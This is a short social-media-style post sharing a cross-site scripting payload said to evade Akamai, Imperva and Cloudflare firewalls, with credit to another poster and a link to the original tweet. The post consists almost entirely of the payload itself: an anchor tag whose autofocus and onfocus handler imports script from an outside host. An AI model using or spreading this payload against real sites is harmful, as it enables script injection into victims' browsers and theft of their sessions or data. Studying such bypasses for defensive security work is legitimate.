This XSS payload is designed to bypass Akamai, Imperva, and CloudFlare WAF. The payload is <A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>. This bypass was shared by @BRuteLogic. #hack2learn
For more insights, check out the original tweet here: https://twitter.com/KN0X55/status/1835288737690890673